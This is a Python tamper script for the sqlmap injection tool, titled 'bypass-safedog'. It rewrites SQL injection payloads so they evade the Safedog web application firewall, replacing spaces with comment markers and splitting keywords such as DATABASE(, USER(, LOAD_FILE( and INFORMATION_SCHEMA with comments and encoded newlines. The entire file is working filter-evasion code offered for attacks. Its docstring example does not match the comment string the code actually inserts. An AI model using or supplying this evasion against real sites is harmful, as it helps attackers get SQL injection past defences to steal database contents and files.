bypass-safedog
#! /usr/bin/env python # -*- coding:utf-8 -*- from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with custom annotator ('/*//--*/') Notes: * This tamper script works against safedog-waf. >>> tamper('SELECT id FROM users') 'SELECT/*//--*/id/*//--*/FROM/*//--*/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/*//--//*/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/*//--//*/" continue retVal += payload[i] retVal=retVal.replace('DATABASE(','DATABASE/*//--//*/(') retVal=retVal.replace('VERSION(','VERSION/*//--//*/(') retVal=retVal.replace('CURRENT_USER(','CURRENT_USER/*//--//*/(') retVal=retVal.replace('SYSTEM_USER(','SYSTEM_USER/*//--//*/(') retVal=retVal.replace('SESSION_USER(','SESSION_USER/*//--//*/(') retVal=retVal.replace('USER(','USER/*//--//*/(') retVal=retVal.replace('LOAD_FILE(','LOAD_FILE/*//--//*/(') retVal=retVal.replace('/AS','/--+/*%0aAS--+*/%0a') retVal=retVal.replace('INFORMATION_SCHEMA','--+/*%0aINFORMATION_SCHEMA--+*/%0a') return retVal